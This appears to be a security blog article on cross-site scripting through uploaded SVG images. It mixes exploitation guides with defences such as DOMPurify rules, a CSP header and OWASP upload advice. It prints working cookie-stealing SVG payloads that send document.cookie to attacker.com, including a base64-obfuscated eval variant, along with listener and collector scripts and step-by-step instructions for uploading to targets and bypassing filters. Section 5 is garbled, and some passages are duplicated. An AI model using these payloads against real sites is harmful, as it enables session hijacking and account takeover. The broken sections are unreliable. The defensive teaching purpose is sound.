SVG XSS: The Image That Steals Your Session Cookies – A Technical Deep Dive + Video

Listen to this Post

Featured Image

Introduction:

Scalable Vector Graphics (SVG) files are XML-based vector images that support embedded JavaScript, making them a powerful but dangerous attack vector when uploaded to web applications. Unlike traditional raster images (PNG, JPEG), SVG files can contain active content that executes in the victim’s browser context, enabling attackers to steal session cookies, CSRF tokens, and sensitive user data through stored cross-site scripting (XSS) attacks. This article dissects how malicious SVG images are weaponized to hijack user sessions, provides hands-on exploitation techniques, and outlines defensive strategies for developers and security professionals.

Learning Objectives & Secrets:

  • Objective 1: Understand SVG as an XSS Vector – Learn why SVG files are fundamentally different from conventional images and how their XML structure allows embedded script execution.
  • Objective 2 Secret Tip: Cookie Exfiltration via SVG – Discover how attackers use the `onload` or `onerror` event handlers within SVG to send `document.cookie` to an attacker-controlled server without user interaction.
  • Objective 3 Secret Tip: Bypassing Naive Sanitization – Learn how polyglot payloads and encoding tricks (e.g., &x3C;script&x3E;) can bypass weak input filters, and why server-side content sanitization is non-1egotiable.

You Should Know:

1. Anatomy of a Malicious SVG Payload

A standard SVG file that steals cookies contains embedded JavaScript that executes when the image is rendered. Below is a basic proof-of-concept:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<svg xmlns="http://www.w3.org/2000/svg" onload="
var cookies = document.cookie;
var img = new Image();
img.src = 'https://attacker.com/steal?c=' + encodeURIComponent(cookies);
">
<rect width="100" height="100" fill="red" />
</svg>

When this SVG is viewed in a browser, the `onload` event triggers, executing the JavaScript that exfiltrates cookies to the attacker’s server. More sophisticated payloads can also steal CSRF tokens, JWT tokens, and perform authenticated actions on behalf of the victim.

Step‑by‑step guide to test SVG XSS:

  1. Create the malicious SVG – Save the above code as poc.svg.
  2. Host a listener – On your attacker machine, start a simple HTTP server to capture exfiltrated data:
    Linux
    nc -lvnp 8080
    Or use Python
    python3 -m http.server 8080
    
  3. Upload the SVG – Navigate to a target web application with an image upload feature (avatar, comment attachment, etc.) and upload poc.svg.
  4. Trigger the payload – View the uploaded SVG in the application context (e.g., profile page, comment section). The `onload` event fires, and you should see the cookie data appear in your listener.
  5. Verify – Check your listener logs for incoming GET requests containing ?c=sessionid=abc123....

2. Real-World Vulnerabilities and CVEs

Multiple CVEs highlight the prevalence of SVG-based stored XSS:
– CVE-2024-55451 – Dromara UJCMS 9.6.3 allowed authenticated SVG uploads leading to JWT theft.
– CVE-2024-52305 – UnoPim’s create user function allowed malicious SVG profile images to steal session cookies.
– CVE-2025-14202 – LinkDing’s bookmark asset rendering pipeline allowed SVG XSS to retrieve CSRF tokens and perform privilege escalation.
– CVE-2026-6827 – justhtml before 1.17.0 had multiple sanitization bypasses, including mutation-XSS parser-differential payloads.

These vulnerabilities demonstrate that SVG uploads are a persistent and widespread risk across CMS platforms, e-commerce systems, and enterprise applications.

Step‑by‑step guide to identify SVG upload endpoints:

  1. Map the application – Use Burp Suite or OWASP ZAP to spider the target and identify all file upload functionalities.
  2. Intercept upload requests – Capture a legitimate image upload and note the Content-Type, endpoint URL, and form parameters.
  3. Modify the request – Change the filename to `test.svg` and the file content to a benign SVG (e.g., a red rectangle).
  4. Check for reflection – After upload, visit the URL where the SVG is served. If the SVG renders without being converted to PNG/JPEG, the endpoint is likely vulnerable.
  5. Test with payload – Replace the benign SVG with a payload that triggers an alert (e.g., <svg onload="alert(document.domain)">). If an alert box appears, the endpoint is vulnerable to stored XSS.

3. Server-Side Defense: Sanitization and Content Security Policy

To mitigate SVG XSS, developers must implement multiple layers of defense:

A. Sanitize SVG Content – Use libraries like `DOMPurify` (Node.js) or `sanitize-svg` to remove dangerous elements and attributes:

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

const dirtySVG = <code><svg onload="alert('XSS')">...</svg></code>;
const cleanSVG = DOMPurify.sanitize(dirtySVG, {
USE_PROFILES: { svg: true },
FORBID_TAGS: ['script', 'foreignObject', 'iframe', 'object', 'embed'],
FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover']
});

B. Serve SVG as `text/plain` – Instead of image/svg+xml, serve uploaded SVGs with `Content-Type: text/plain` to prevent the browser from executing scripts.

C. Use a Separate Subdomain – Serve user-uploaded content from a domain that lacks access to session cookies (e.g., `cdn.example.com` instead of app.example.com).

D. Implement Content Security Policy (CSP) – Restrict script sources and disallow inline scripts:

Content-Security-Policy: default-src 'self'; img-src 'self' data:; script-src 'none';

Step‑by‑step guide to implement SVG sanitization in a Node.js application:

1. Install dependencies:

npm install dompurify jsdom

2. Create a sanitization middleware:

const sanitizeSVG = (req, res, next) => {
if (req.file && req.file.mimetype === 'image/svg+xml') {
const clean = DOMPurify.sanitize(req.file.buffer.toString());
req.file.buffer = Buffer.from(clean);
}
next();
};

3. Apply the middleware to upload routes.

  1. Test by uploading a malicious SVG and verifying that the `onload` attribute is stripped.

4. Client-Side Exploitation: Stealing Cookies via SVG

From an attacker’s perspective, the goal is to exfiltrate session cookies that can be used for session hijacking. Below is a more advanced payload that steals cookies and sends them to a remote server:


<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.com/collect', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>

This payload uses the Fetch API to send cookies via POST, which is less likely to appear in server logs than a GET request. Attackers can also use `navigator.sendBeacon()` for stealthier exfiltration.

Step‑by‑step guide to craft and deliver a cookie-stealing SVG:

  1. Set up a collector server – Create a simple PHP or Node.js endpoint that logs incoming POST data:
    <?php
    file_put_contents('cookies.log', file_get_contents('php://input') . "\n", FILE_APPEND);
    ?>
    
  2. Embed the payload – Insert the Fetch API code into an SVG.
  3. Obfuscate – Encode the script using base64 or HTML entities to bypass basic filters:
    <svg><script>eval(atob('ZmV0Y2goJ2h0dHBzOi8vYXR0YWNrZXIuY29tL2NvbGxlY3QnLCB7bWV0aG9kOiAnUE9TVCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZX0p'));</script></svg>
    
  4. Upload – Deliver the SVG via any vulnerable upload form.
  5. Wait – Monitor your collector logs for incoming cookie data.

5. Bypassing Common Filters

Many applications attempt to block `"` within `` or `` tags.

  • CSS injection – Use style="background:url(javascript:alert(1))".
  • Step‑by‑step guide to test filter bypasses:

    1. Identify the filter – Upload a simple payload (<svg onload="alert(1)">) and observe if it's blocked or stripped.
    2. Test variations – Try different tags and attributes:
      <svg><image href="x" onerror="alert(1)"/></svg>
      <svg><use href="data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSkiLz4="/></svg>
      
    3. Use encoding – Apply URL encoding, HTML entity encoding, or base64 encoding.
    4. Leverage polyglots – Create a file that is both a valid SVG and a valid HTML/JS payload.
    5. Document bypasses – If a bypass works, report it as a security finding.

    6. Windows-Specific Commands for Testing

    For Windows users conducting penetration tests:

     Start a simple HTTP listener using PowerShell
    $listener = New-Object System.Net.HttpListener
    $listener.Prefixes.Add("http://:8080/")
    $listener.Start()
    Write-Host "Listening on port 8080..."
    while ($listener.IsListening) {
    $context = $listener.GetContext()
    $request = $context.Request
    $response = $context.Response
    $responseString = "Cookie received: " + $request.QueryString
    $buffer = [System.Text.Encoding]::UTF8.GetBytes($responseString)
    $response.ContentLength64 = $buffer.Length
    $response.OutputStream.Write($buffer, 0, $buffer.Length)
    $response.OutputStream.Close()
    }
    

    7. OWASP Recommendations and Best Practices

    The OWASP Application Security Verification Standard (ASVS) provides clear guidance:
    - V16.5.2 – Verify that untrusted uploaded SVG files are only returned as text/plain, and a separate subdomain with no access to session cookies is used.
    - Content inspection – Validate file types using content inspection, not just file extensions.
    - Store outside web root – Store uploaded files outside the web root and serve them via signed URLs or a separate asset domain.

    Step‑by‑step guide to secure file uploads (OWASP-aligned):

    1. Validate MIME type – Check the file's magic bytes, not just the `Content-Type` header.
    2. Rename files – Generate a random filename and discard the original name.
    3. Scan for malware – Use ClamAV or similar tools to scan uploaded files.
    4. Restrict execution – Ensure the upload directory has no execute permissions.
    5. Log all uploads – Maintain audit logs of who uploaded what and when.

    What Undercode Say:

    • Key Takeaway 1 – SVG files are not just images; they are executable XML documents that can contain JavaScript, making them a potent vector for stored XSS and session hijacking. Treat every SVG upload as a potential security risk.
    • Key Takeaway 2 – Defensive strategies must include server-side sanitization, strict CSP policies, and serving SVGs as `text/plain` or from a cookie-less subdomain. Relying on client-side validation or blacklisting is insufficient.

    Analysis: The exploitation of SVG files for cookie theft is a classic example of how feature-rich formats introduce unforeseen security risks. As web applications increasingly rely on user-generated content, the attack surface expands. The persistence of SVG-related CVEs across diverse platforms (CMS, e-commerce, bug trackers) indicates that many organizations still lack robust file upload security. The most effective defense is a layered approach combining sanitization, CSP, and architectural segregation of user content. For penetration testers and bug bounty hunters, SVG upload endpoints remain a high-value target due to the ease of exploitation and the potential for critical impact (session takeover, account compromise). The rise of AI-generated code may exacerbate this issue, as developers may inadvertently copy insecure SVG handling patterns from online examples.

    Expected Output:

    Introduction:

    Scalable Vector Graphics (SVG) files are XML-based vector images that support embedded JavaScript, making them a powerful but dangerous attack vector when uploaded to web applications. Unlike traditional raster images (PNG, JPEG), SVG files can contain active content that executes in the victim's browser context, enabling attackers to steal session cookies, CSRF tokens, and sensitive user data through stored cross-site scripting (XSS) attacks. This article dissects how malicious SVG images are weaponized to hijack user sessions, provides hands-on exploitation techniques, and outlines defensive strategies for developers and security professionals.

    What Undercode Say:

    • Key Takeaway 1 – SVG files are not just images; they are executable XML documents that can contain JavaScript, making them a potent vector for stored XSS and session hijacking. Treat every SVG upload as a potential security risk.
    • Key Takeaway 2 – Defensive strategies must include server-side sanitization, strict CSP policies, and serving SVGs as `text/plain` or from a cookie-less subdomain. Relying on client-side validation or blacklisting is insufficient.

    Prediction:

    • +1 – Increased awareness of SVG XSS risks will drive adoption of automated sanitization tools and CSP enforcement, reducing the number of vulnerable applications over the next 2–3 years.
    • -1 – The proliferation of no-code/low-code platforms with built-in file upload features will introduce new SVG XSS vectors, as these platforms often prioritize ease of use over security hardening.
    • -1 – AI-assisted code generation may inadvertently produce insecure SVG handling code, as training data includes vulnerable examples, perpetuating the cycle of insecure defaults.
    • +1 – Bug bounty programs will increasingly prioritize SVG-related findings, leading to faster remediation and better security hygiene in major platforms.
    • -1 – Attackers will continue to evolve payloads using obfuscation and encoding techniques to bypass sanitization, necessitating constant updates to defense mechanisms.

    ▶️ Related Video (80% Match):

    🎯Let’s Practice For Free:

    🎓 Live Courses & Certifications:

    Join Undercode Academy for Verified Certifications

    🚀 Request a Custom Project:

    Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
    [email protected]
    💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

    IT/Security Reporter URL:

    Reported By: https://lnkd.in/p/eT72UnMA - Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

    💬 Whatsapp | 💬 Telegram

    📢 Follow UndercodeTesting & Stay Tuned:

    𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky